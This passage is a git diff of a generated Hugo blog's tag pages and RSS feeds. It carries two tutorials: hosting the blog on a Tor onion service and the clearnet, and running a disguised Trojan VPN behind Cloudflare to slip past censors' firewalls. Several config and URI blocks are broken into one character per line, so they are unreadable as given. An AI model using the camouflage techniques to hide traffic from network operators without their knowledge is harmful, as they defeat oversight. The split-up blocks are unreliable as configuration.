      +
    • Matrix Synapse, coTURN, LiveKit, Element Call.
    • +
    • curl, jq, docker compose logs, Nginx access logs. These are your best friends.
    • +
    • The debugging breakthrough was catching CORS errors in the browser console and looking for HTTP 101 in Nginx logs.
    • +
    +

    Happy calling! 🎉

    +]]>
    \ No newline at end of file diff --git a/public/tags/synapse/page/1/index.html b/public/tags/synapse/page/1/index.html new file mode 100644 index 0000000..a5bf676 --- /dev/null +++ b/public/tags/synapse/page/1/index.html @@ -0,0 +1,2 @@ +http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/synapse/ + \ No newline at end of file diff --git a/public/tags/tor/index.html b/public/tags/tor/index.html new file mode 100644 index 0000000..292b74e --- /dev/null +++ b/public/tags/tor/index.html @@ -0,0 +1,14 @@ +Tor | AlipourIm journeys +

    Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod

    TL;DR — The site is built once (Hugo project), published twice: +Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301. Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror. 1) Tor hidden service (onion) basics I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301. +Install & configure Tor (Debian/Ubuntu): +sudo apt update && sudo apt install -y tor sudoedit /etc/tor/torrc Add: +...

    September 19, 2025 · 6 min · Iman Alipour +
    + +RSS + \ No newline at end of file diff --git a/public/tags/tor/index.xml b/public/tags/tor/index.xml new file mode 100644 index 0000000..40a021e --- /dev/null +++ b/public/tags/tor/index.xml @@ -0,0 +1,422 @@ +Tor on AlipourIm journeyshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/tor/Recent content in Tor on AlipourIm journeysHugo -- 0.146.0enFri, 19 Sep 2025 00:00:00 +0000Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperModhttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/tor_clearnet_blog/Fri, 19 Sep 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/tor_clearnet_blog/How I hosted a Hugo + PaperMod site both as a Tor onion service and a normal HTTPS site behind Cloudflare, with clean configs, dual builds, and a one-command deploy. +

    TL;DR — The site is built once (Hugo project), published twice:

    +
      +
    • Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301.
    • +
    • Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror.
    • +
    +
    +

    1) Tor hidden service (onion) basics

    +

    I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301.

    +

    Install & configure Tor (Debian/Ubuntu):

    +
    sudo apt update && sudo apt install -y tor
    +sudoedit /etc/tor/torrc
    +

    Add:

    + + + +
    + + + + + + +H +H +i +i +d +d +d +d +e +e +n +n +S +S +e +e +r +r +v +v +i +i +c +c +e +e +D +P +i +o +r +r +t +v +8 +a +0 +r +/ +1 +l +2 +i +7 +b +. +0 +t +. +o +0 +r +. +1 +h +: +i +3 +d +3 +d +0 +e +1 +n +_ +s +i +t +e +/ + + + + +
    +

    Make sure the directory is owned by Tor’s user and private:

    +
    sudo mkdir -p /var/lib/tor/hidden_site
    +sudo chown -R debian-tor:debian-tor /var/lib/tor/hidden_site
    +sudo chmod 700 /var/lib/tor/hidden_site
    +

    Important: use the right systemd unit:

    +
    # validate as the Tor user
    +sudo -u debian-tor tor -f /etc/tor/torrc --verify-config
    +
    +# (re)start the real service
    +sudo systemctl enable --now tor@default
    +sudo systemctl restart tor@default
    +

    Get the onion address:

    +
    sudo cat /var/lib/tor/hidden_site/hostname
    +

    Quick check (do remote DNS via SOCKS):

    +
    curl -I --socks5-hostname 127.0.0.1:9050 "http://$(sudo cat /var/lib/tor/hidden_site/hostname)"
    +

    +

    2) Nginx for the onion (localhost-only)

    +

    I keep the onion site strictly on localhost: no HTTPS, no redirects, no HSTS. Tor already provides e2e encryption and authenticity.

    +

    /etc/nginx/sites-available/onion-blog:

    +
    server {
    +    listen 127.0.0.1:3301 default_server;
    +    server_name <your-56-char>.onion 127.0.0.1 localhost;
    +
    +    # keep onion simple; no HSTS/redirects here
    +    add_header Referrer-Policy no-referrer always;
    +    add_header X-Content-Type-Options nosniff always;
    +    add_header X-Frame-Options SAMEORIGIN always;
    +    # (optional) strict CSP so nothing leaks to clearnet
    +    # add_header Content-Security-Policy "default-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; script-src 'self'" always;
    +
    +    root /srv/hugo/mysite/public-onion;
    +    index index.html;
    +
    +    location / { try_files $uri $uri/ /index.html; }
    +    location ~* \.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ {
    +        access_log off;
    +        add_header Cache-Control "public, max-age=31536000, immutable";
    +        try_files $uri =404;
    +    }
    +}
    +

    Enable/reload:

    +
    sudo ln -sf /etc/nginx/sites-available/onion-blog /etc/nginx/sites-enabled/onion-blog
    +sudo nginx -t && sudo systemctl reload nginx
    +
    +

    Gotcha I hit: I had two server blocks on 127.0.0.1:3301, which caused 404s via onion. Make sure only the intended vhost listens there (or mark it default_server). Also, if you ever use a regex in server_name, the syntax is server_name ~* \.onion$ (note the space after ~*).

    +
    +

    3) Hugo + PaperMod setup (and version bumps)

    +

    PaperMod now requires Hugo Extended ≥ 0.146.0. I installed the extended binary from the official tarball to avoid Snap’s sandbox limitations (Snap can’t read /srv paths by default).

    +
    # install Hugo extended (example)
    +VER=0.146.0
    +cd /tmp
    +wget https://github.com/gohugoio/hugo/releases/download/v${VER}/hugo_extended_${VER}_Linux-amd64.tar.gz
    +tar -xzf hugo_extended_${VER}_Linux-amd64.tar.gz
    +sudo mv hugo /usr/local/bin/hugo
    +hugo version  # should say "extended" and >= 0.146.0
    +

    Create the site and theme:

    +
    sudo mkdir -p /srv/hugo && sudo chown -R "$USER":"$USER" /srv/hugo
    +cd /srv/hugo
    +hugo new site mysite
    +cd mysite
    +git init
    +git submodule add https://github.com/adityatelange/hugo-PaperMod themes/PaperMod
    +

    Config updates: in newer Hugo, paginate is deprecated → use:

    +
    # config/_default/hugo.toml
    +title = "My Blog"
    +theme = "PaperMod"
    +enableRobotsTXT = true
    +
    +[pagination]
    +  pagerSize = 10
    +
    +[params]
    +  defaultTheme = "auto"
    +  showReadingTime = true
    +  showPostNavLinks = true
    +  showBreadCrumbs = true
    +  showCodeCopyButtons = true
    +

    I added per-environment overrides so I can build two outputs with different baseURLs:

    +
    # config/clearnet/hugo.toml
    +baseURL = "https://blog.alipourimjourneys.ir/"
    +
    +# config/onion/hugo.toml
    +baseURL = "http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/"
    +

    +

    4) Dual builds (clearnet + onion) and one-command deploy

    +

    I publish the same content twice—once for each base URL and docroot:

    +
    cd /srv/hugo/mysite
    +# clearnet build (served over HTTPS)
    +hugo --minify --environment clearnet -d public-clearnet
    +# onion build (served via Tor)
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +

    Helper script I use:

    +
    sudo tee /usr/local/bin/build-both >/dev/null <<'EOF'
    +#!/usr/bin/env bash
    +set -euo pipefail
    +cd /srv/hugo/mysite
    +hugo --minify --environment clearnet -d public-clearnet
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +echo "Deployed both at $(date)"
    +EOF
    +sudo chmod +x /usr/local/bin/build-both
    +

    While editing, I sometimes auto-rebuild on file save:

    +
    sudo apt install -y entr
    +cd /srv/hugo/mysite
    +find content layouts assets static config -type f | entr -r build-both
    +

    +

    5) Clearnet behind Cloudflare + Let’s Encrypt (manual DNS-01)

    +

    Cloudflare is set to Full (strict). I issued a public cert for blog.alipourimjourneys.ir using manual DNS-01 (no API token):

    +
    sudo snap install --classic certbot
    +sudo certbot certonly --manual --preferred-challenges dns   -d blog.alipourimjourneys.ir   --agree-tos -m you@example.com --no-eff-email
    +

    Certbot tells you to add a TXT record _acme-challenge.blog.alipourimjourneys.ir. Add it in Cloudflare DNS, verify with dig, then continue. Cert ends up at:

    + + + +
    + + + +/ +/ +e +e +t +t +c +c +/ +/ +l +l +e +e +t +t +s +s +e +e +n +n +c +c +r +r +y +y +p +p +t +t +/ +/ +l +l +i +i +v +v +e +e +/ +/ +b +b +l +l +o +o +g +g +. +. +a +a +l +l +i +i +p +p +o +o +u +u +r +r +i +i +m +m +j +j +o +o +u +u +r +r +n +n +e +e +y +y +s +s +. +. +i +i +r +r +/ +/ +f +p +u +r +l +i +l +v +c +k +h +e +a +y +i +. +n +p +. +e +p +m +e +m + + + + +
    +

    Clearnet Nginx vhosts:

    +
    # HTTP → HTTPS redirect (optional; CF usually talks HTTPS to origin anyway)
    +server {
    +  listen 80; listen [::]:80;
    +  server_name blog.alipourimjourneys.ir;
    +  return 301 https://blog.alipourimjourneys.ir$request_uri;
    +}
    +
    +# HTTPS origin (behind Cloudflare)
    +server {
    +  listen 443 ssl http2; listen [::]:443 ssl http2;
    +  server_name blog.alipourimjourneys.ir;
    +
    +  ssl_certificate     /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem;
    +
    +  # HSTS on clearnet only
    +  add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
    +
    +  # Help Tor Browser discover the onion mirror (safe on clearnet)
    +  add_header Onion-Location "http://<your-56-char>.onion$request_uri" always;
    +
    +  root /srv/hugo/mysite/public-clearnet;
    +  index index.html;
    +
    +  location / { try_files $uri $uri/ /index.html; }
    +}
    +
    +

    Note: don’t add HSTS or HTTPS redirects to the onion vhost. Keep onion pure HTTP on localhost.

    +
    +

    6) Troubleshooting I ran into (and fixes)

    +
      +
    • Tor unit confusion: tor.service is a tiny master; the real daemon is tor@default. Use that unit and verify config as debian-tor.
    • +
    • Permissions: HiddenServiceDir must be owned by debian-tor and mode 700.
    • +
    • Mapping mismatch: If HiddenServicePort 80 127.0.0.1:3301 is set, visit http://<onion>/ (no :3301). If you set HiddenServicePort 3301 127.0.0.1:3301, you must use http://<onion>:3301/.
    • +
    • Curl & .onion: modern curl refuses .onion unless you use remote DNS via SOCKS: +
      curl -I --socks5-hostname 127.0.0.1:9050 "http://<onion>/"
      +
    • +
    • Two Nginx vhosts on the same port: I had a duplicate server on 127.0.0.1:3301 pointing somewhere else, which caused onion 404s. Keep only one (or mark one default_server).
    • +
    • Regex in server_name: if you use it, write server_name ~* \.onion$ (space after ~*). I fixed an invalid variable name error caused by a missing space.
    • +
    • PaperMod with old Hugo: upgraded to extended ≥ 0.146.0. Also updated paginate[pagination].pagerSize.
    • +
    • Snap confinement: Snap’s hugo couldn’t read /srv (.../void: permission denied). Switched to the tarball build in /usr/local/bin.
    • +
    +
    +

    7) “Not secure” in Tor Browser?

    +

    That message can appear because onion uses HTTP. It’s OK: Tor provides e2e encryption + onion auth. If you enable HTTPS-Only Mode, add an exception for the site. Also ensure the onion build doesn’t reference clearnet resources (scan the built HTML for http(s):// links that aren’t your onion).

    +
    +

    8) Day-to-day workflow

    +
      +
    • Create content: +
      hugo new posts/my-first-post.md  # then set draft: false
      +
    • +
    • Publish both: +
      build-both
      +
    • +
    • (Optional) Auto on save: +
      find content layouts assets static config -type f | entr -r build-both
      +
    • +
    • (Optional) Git push-to-deploy with a bare repo + post-receive hook that runs build-both.
    • +
    +
    +

    Final notes

    +
      +
    • Clearnet gets HTTPS + HSTS and an Onion-Location header.
    • +
    • Onion gets no HSTS/redirects, and all assets are self-hosted to avoid mixed content.
    • +
    • Serving both worlds from one Hugo repo is easy: two builds, two vhosts, one workflow.
    • +
    +]]>
    \ No newline at end of file diff --git a/public/tags/tor/page/1/index.html b/public/tags/tor/page/1/index.html new file mode 100644 index 0000000..4e4aacc --- /dev/null +++ b/public/tags/tor/page/1/index.html @@ -0,0 +1,2 @@ +http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/tor/ + \ No newline at end of file diff --git a/public/tags/trojan/index.html b/public/tags/trojan/index.html new file mode 100644 index 0000000..4296080 --- /dev/null +++ b/public/tags/trojan/index.html @@ -0,0 +1,14 @@ +Trojan | AlipourIm journeys +

    Stealth Trojan VPN Behind Cloudflare Guide

    Introduction So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there? +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare. +This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me). +We’ll anonymise domains and secrets, so substitute with your own: +...

    September 9, 2025 · 4 min · Iman Alipour +
    + +RSS + \ No newline at end of file diff --git a/public/tags/trojan/index.xml b/public/tags/trojan/index.xml new file mode 100644 index 0000000..e0ba849 --- /dev/null +++ b/public/tags/trojan/index.xml @@ -0,0 +1,377 @@ +Trojan on AlipourIm journeyshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/trojan/Recent content in Trojan on AlipourIm journeysHugo -- 0.146.0enTue, 09 Sep 2025 11:05:00 +0200Stealth Trojan VPN Behind Cloudflare Guidehttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/vpn/Tue, 09 Sep 2025 11:05:00 +0200http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/vpn/<h2 id="introduction">Introduction</h2> +<p>So you want a VPN that <strong>doesn&rsquo;t scream &ldquo;I am a VPN&rdquo;</strong> to every censor and firewall out there?<br> +Welcome to the world of <strong>Trojan over WebSocket + TLS behind Cloudflare</strong>.</p> +<p>This guide not only shows you how to set it up but also sprinkles in some <strong>debugging magic</strong> so you can figure out why things break (and they <em>will</em> break, trust me).</p> +<p>We’ll anonymise domains and secrets, so substitute with your own:</p>Introduction +

    So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there?
    +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare.

    +

    This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me).

    +

    We’ll anonymise domains and secrets, so substitute with your own:

    +
      +
    • VPN domain: web.example.com
    • +
    • Panel domain: panel.example.com
    • +
    • Secret WS path: /stealth-path_abcd1234
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Architecture at a Glance

    +

    Think of it as a disguise party:

    +
      +
    • Trojan = the shy guest (your VPN protocol)
    • +
    • Nginx = the bouncer checking IDs (reverse proxy)
    • +
    • Cloudflare = the doorman who makes sure nobody sees who’s inside (CDN & proxy)
    • +
    • Your fake website = the mask (camouflage page)
    • +
    +

    Traffic flow:

    + + + +
    + + + +C +l +i +e +n +t + +C +l +o +u +d +f +l +a +r +e +( +4 +4 +3 +) + +N +g +i +n +x +( +4 +4 +3 +) + +T +r +o +j +a +n +( +l +o +c +a +l +h +o +s +t +: +5 +4 +3 +2 +1 +) + + + + +
    +
    +

    Step 1: Panel Setup (panel.example.com)

    +
      +
    • Bind the 3x-ui panel to localhost (e.g., 127.0.0.1:46309).
    • +
    • Choose a funky web base path like /panel-bananas_42/.
    • +
    • Proxy it through Nginx with HTTPS + Basic Auth.
    • +
    • Test it at https://panel.example.com/panel-bananas_42/.
    • +
    +

    Pro tip: If you see a blank page → your base path is mismatched or Nginx is eating it. Check logs!

    +
    +

    Step 2: Trojan Inbound

    +

    In 3x-ui, create a Trojan inbound:

    +
      +
    • Local port: 54321
    • +
    • Transport: WebSocket
    • +
    • Path: /stealth-path_abcd1234
    • +
    • Security: none
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Step 3: Nginx for VPN Domain (web.example.com)

    +

    Your Nginx is the gatekeeper. Sample config:

    +
    server {
    +    listen 443 ssl http2;
    +    server_name web.example.com;
    +
    +    ssl_certificate     /etc/letsencrypt/live/web.example.com/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/web.example.com/privkey.pem;
    +
    +    # Fake website at root
    +    location / {
    +        root /var/www/html;
    +        index index.html;
    +    }
    +
    +    # Real VPN under secret WS path
    +    location /stealth-path_abcd1234 {
    +        proxy_pass http://127.0.0.1:54321;
    +        proxy_http_version 1.1;
    +        proxy_set_header Upgrade $http_upgrade;
    +        proxy_set_header Connection "upgrade";
    +        proxy_set_header Host $host;
    +    }
    +}
    +

    +

    Step 4: Firewall Rules

    +

    Lock things down! Only Cloudflare should reach you:

    +
    ufw allow 22/tcp
    +ufw allow 80/tcp
    +ufw allow 443/tcp
    +ufw deny 54321/tcp
    +

    +

    Step 5: Client Config

    +

    Trojan URI:

    + + + +
    + + + +t +r +o +j +a +n +: +/ +/ +< +P +A +S +S +W +O +R +D +> +@ +w +e +b +. +e +x +a +m +p +l +e +. +c +o +m +: +4 +4 +3 +? +t +y +p +e += +w +s +& +s +e +c +u +r +i +t +y += +t +l +s +& +h +o +s +t += +w +e +b +. +e +x +a +m +p +l +e +. +c +o +m +& +p +a +t +h += +% +2 +F +s +t +e +a +l +t +h +- +p +a +t +h +_ +a +b +c +d +1 +2 +3 +4 +& +s +n +i += +w +e +b +. +e +x +a +m +p +l +e +. +c +o +m +# +M +y +S +t +e +a +l +t +h +V +P +N + + + + +
    +

    iOS clients: Shadowrocket, Stash, FoXray
    +Android clients: v2rayNG, Clash Meta, NekoBox

    +
    +

    Debugging Time (a.k.a. “Why the heck doesn’t it work?!”)

    +

    Symptom: 520 Unknown Error (Cloudflare)

    +
      +
    • Likely cause: Nginx couldn’t talk to Trojan.
    • +
    • Check Nginx error log: +
      tail -n 50 /var/log/nginx/error.log
      +
    • +
    • If you see upstream sent no valid HTTP/1.0 header → you’re mixing HTTPS/HTTP between Nginx and Trojan.
    • +
    +
    +

    Symptom: 526 Invalid SSL certificate

    +
      +
    • Cloudflare → Nginx cert mismatch.
    • +
    • Run: +
      openssl s_client -connect web.example.com:443 -servername web.example.com -showcerts
      +
    • +
    • Make sure CN = web.example.com. If not, fix your cert.
    • +
    +
    +

    Symptom: Blank page on panel

    +
      +
    • Check if the base path matches exactly (case-sensitive, slash-sensitive).
    • +
    • Watch for sneaky trailing spaces!
    • +
    • Test locally: +
      curl -s -D- http://127.0.0.1:46309/panel-bananas_42/
      +
    • +
    +
    +

    Symptom: Client won’t connect

    +
      +
    • Run a WebSocket test: +
      curl -i -k -H "Connection: Upgrade" -H "Upgrade: websocket" https://web.example.com/stealth-path_abcd1234
      +
      Expect 101 Switching Protocols. If not, check Nginx config.
    • +
    +
    +

    Symptom: Censor still blocks you

    +
      +
    • Did you expose another service (like SSH, Matrix, or Minecraft) on the same IP?
      +→ They’ll find your origin IP. Use a second VPS or lock those ports down.
    • +
    • Did you use an obvious path like /ws?
      +→ Use a random-looking one like /cdn-assets-329df/.
    • +
    +
    +

    Pro Tips & Fun Tricks

    +
      +
    • Serve a fake blog or portfolio at root so your domain looks legit.
    • +
    • Rotate WebSocket paths occasionally.
    • +
    • Use Cloudflare Page Rules to disable Rocket Loader & Minify for your VPN domain.
    • +
    • Make friends with your Nginx error.log — it will roast you but it tells the truth.
    • +
    +
    +

    Conclusion

    +

    By putting Trojan behind Cloudflare, you’ve given your VPN a shiny new disguise:

    +
      +
    • Looks like normal HTTPS.
    • +
    • Hides your origin IP.
    • +
    • Forces censors into a tough choice: block Cloudflare (and half the web) or let you pass.
    • +
    +

    Congrats — you’ve built a VPN with both style and stealth. 🥷

    +]]>
    \ No newline at end of file diff --git a/public/tags/trojan/page/1/index.html b/public/tags/trojan/page/1/index.html new file mode 100644 index 0000000..9900f68 --- /dev/null +++ b/public/tags/trojan/page/1/index.html @@ -0,0 +1,2 @@ +http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/trojan/ + \ No newline at end of file diff --git a/public/tags/vpn/index.html b/public/tags/vpn/index.html new file mode 100644 index 0000000..c6eb9ce --- /dev/null +++ b/public/tags/vpn/index.html @@ -0,0 +1,14 @@ +VPN | AlipourIm journeys +

    Stealth Trojan VPN Behind Cloudflare Guide

    Introduction So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there? +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare. +This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me). +We’ll anonymise domains and secrets, so substitute with your own: +...

    September 9, 2025 · 4 min · Iman Alipour +
    + +RSS + \ No newline at end of file diff --git a/public/tags/vpn/index.xml b/public/tags/vpn/index.xml new file mode 100644 index 0000000..88678f6 --- /dev/null +++ b/public/tags/vpn/index.xml @@ -0,0 +1,377 @@ +VPN on AlipourIm journeyshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/vpn/Recent content in VPN on AlipourIm journeysHugo -- 0.146.0enTue, 09 Sep 2025 11:05:00 +0200Stealth Trojan VPN Behind Cloudflare Guidehttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/vpn/Tue, 09 Sep 2025 11:05:00 +0200http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/vpn/<h2 id="introduction">Introduction</h2> +<p>So you want a VPN that <strong>doesn&rsquo;t scream &ldquo;I am a VPN&rdquo;</strong> to every censor and firewall out there?<br> +Welcome to the world of <strong>Trojan over WebSocket + TLS behind Cloudflare</strong>.</p> +<p>This guide not only shows you how to set it up but also sprinkles in some <strong>debugging magic</strong> so you can figure out why things break (and they <em>will</em> break, trust me).</p> +<p>We’ll anonymise domains and secrets, so substitute with your own:</p>Introduction +

    So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there?
    +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare.

    +

    This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me).

    +

    We’ll anonymise domains and secrets, so substitute with your own:

    +
      +
    • VPN domain: web.example.com
    • +
    • Panel domain: panel.example.com
    • +
    • Secret WS path: /stealth-path_abcd1234
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Architecture at a Glance

    +

    Think of it as a disguise party:

    +
      +
    • Trojan = the shy guest (your VPN protocol)
    • +
    • Nginx = the bouncer checking IDs (reverse proxy)
    • +
    • Cloudflare = the doorman who makes sure nobody sees who’s inside (CDN & proxy)
    • +
    • Your fake website = the mask (camouflage page)
    • +
    +

    Traffic flow:

    + + + +
    + + + +C +l +i +e +n +t + +C +l +o +u +d +f +l +a +r +e +( +4 +4 +3 +) + +N +g +i +n +x +( +4 +4 +3 +) + +T +r +o +j +a +n +( +l +o +c +a +l +h +o +s +t +: +5 +4 +3 +2 +1 +) + + + + +
    +
    +

    Step 1: Panel Setup (panel.example.com)

    +
      +
    • Bind the 3x-ui panel to localhost (e.g., 127.0.0.1:46309).
    • +
    • Choose a funky web base path like /panel-bananas_42/.
    • +
    • Proxy it through Nginx with HTTPS + Basic Auth.
    • +
    • Test it at https://panel.example.com/panel-bananas_42/.
    • +
    +

    Pro tip: If you see a blank page → your base path is mismatched or Nginx is eating it. Check logs!

    +
    +

    Step 2: Trojan Inbound

    +

    In 3x-ui, create a Trojan inbound:

    +
      +
    • Local port: 54321
    • +
    • Transport: WebSocket
    • +
    • Path: /stealth-path_abcd1234
    • +
    • Security: none
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Step 3: Nginx for VPN Domain (web.example.com)

    +

    Your Nginx is the gatekeeper. Sample config:

    +
    server {
    +    listen 443 ssl http2;
    +    server_name web.example.com;
    +
    +    ssl_certificate     /etc/letsencrypt/live/web.example.com/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/web.example.com/privkey.pem;
    +
    +    # Fake website at root
    +    location / {
    +        root /var/www/html;
    +        index index.html;
    +    }
    +
    +    # Real VPN under secret WS path
    +    location /stealth-path_abcd1234 {
    +        proxy_pass http://127.0.0.1:54321;
    +        proxy_http_version 1.1;
    +        proxy_set_header Upgrade $http_upgrade;
    +        proxy_set_header Connection "upgrade";
    +        proxy_set_header Host $host;
    +    }
    +}
    +

    +

    Step 4: Firewall Rules

    +

    Lock things down! Only Cloudflare should reach you:

    +
    ufw allow 22/tcp
    +ufw allow 80/tcp
    +ufw allow 443/tcp
    +ufw deny 54321/tcp
    +

    +

    Step 5: Client Config

    +

    Trojan URI:

    + + + +
    + + + +t +r +o +j +a +n +: +/ +/ +< +P +A +S +S +W +O +R +D +> +@ +w +e +b +. +e +x +a +m +p +l +e +. +c +o +m +: +4 +4 +3 +? +t +y +p +e += +w +s +& +s +e +c +u +r +i +t +y += +t +l +s +& +h +o +s +t += +w +e +b +. +e +x +a +m +p +l +e +. +c +o +m +& +p +a +t +h += +% +2 +F +s +t +e +a +l +t +h +- +p +a +t +h +_ +a +b +c +d +1 +2 +3 +4 +& +s +n +i += +w +e +b +. +e +x +a +m +p +l +e +. +c +o +m +# +M +y +S +t +e +a +l +t +h +V +P +N + + + + +
    +

    iOS clients: Shadowrocket, Stash, FoXray
    +Android clients: v2rayNG, Clash Meta, NekoBox

    +
    +

    Debugging Time (a.k.a. “Why the heck doesn’t it work?!”)

    +

    Symptom: 520 Unknown Error (Cloudflare)

    +
      +
    • Likely cause: Nginx couldn’t talk to Trojan.
    • +
    • Check Nginx error log: +
      tail -n 50 /var/log/nginx/error.log
      +
    • +
    • If you see upstream sent no valid HTTP/1.0 header → you’re mixing HTTPS/HTTP between Nginx and Trojan.
    • +
    +
    +

    Symptom: 526 Invalid SSL certificate

    +
      +
    • Cloudflare → Nginx cert mismatch.
    • +
    • Run: +
      openssl s_client -connect web.example.com:443 -servername web.example.com -showcerts
      +
    • +
    • Make sure CN = web.example.com. If not, fix your cert.
    • +
    +
    +

    Symptom: Blank page on panel

    +
      +
    • Check if the base path matches exactly (case-sensitive, slash-sensitive).
    • +
    • Watch for sneaky trailing spaces!
    • +
    • Test locally: +
      curl -s -D- http://127.0.0.1:46309/panel-bananas_42/
      +
    • +
    +
    +

    Symptom: Client won’t connect

    +
      +
    • Run a WebSocket test: +
      curl -i -k -H "Connection: Upgrade" -H "Upgrade: websocket" https://web.example.com/stealth-path_abcd1234
      +
      Expect 101 Switching Protocols. If not, check Nginx config.
    • +
    +
    +

    Symptom: Censor still blocks you

    +
      +
    • Did you expose another service (like SSH, Matrix, or Minecraft) on the same IP?
      +→ They’ll find your origin IP. Use a second VPS or lock those ports down.
    • +
    • Did you use an obvious path like /ws?
      +→ Use a random-looking one like /cdn-assets-329df/.
    • +
    +
    +

    Pro Tips & Fun Tricks

    +
      +
    • Serve a fake blog or portfolio at root so your domain looks legit.
    • +
    • Rotate WebSocket paths occasionally.
    • +
    • Use Cloudflare Page Rules to disable Rocket Loader & Minify for your VPN domain.
    • +
    • Make friends with your Nginx error.log — it will roast you but it tells the truth.
    • +
    +
    +

    Conclusion

    +

    By putting Trojan behind Cloudflare, you’ve given your VPN a shiny new disguise:

    +
      +
    • Looks like normal HTTPS.
    • +
    • Hides your origin IP.
    • +
    • Forces censors into a tough choice: block Cloudflare (and half the web) or let you pass.
    • +
    +

    Congrats — you’ve built a VPN with both style and stealth. 🥷

    +]]>
    \ No newline at end of file diff --git a/public/tags/vpn/page/1/index.html b/public/tags/vpn/page/1/index.html new file mode 100644 index 0000000..bef5cc2 --- /dev/null +++ b/public/tags/vpn/page/1/index.html @@ -0,0 +1,2 @@ +http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/vpn/ + \ No newline at end of file diff --git a/public/tags/webrtc/index.html b/public/tags/webrtc/index.html new file mode 100644 index 0000000..bda67bd --- /dev/null +++ b/public/tags/webrtc/index.html @@ -0,0 +1,12 @@ +Webrtc | AlipourIm journeys +
    Matrix, Signal but distributed

    Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way)

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it. +What I’m building A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain). TURN/STUN (coTURN) for NAT traversal. Element Call backed by LiveKit, fronted by rtc.example.com. Nginx (host) as the single reverse proxy for everything. Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud). UFW firewall opened for Matrix federation, TURN, and LiveKit media ports. I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448. +...

    August 26, 2025 · 9 min · Iman Alipour +
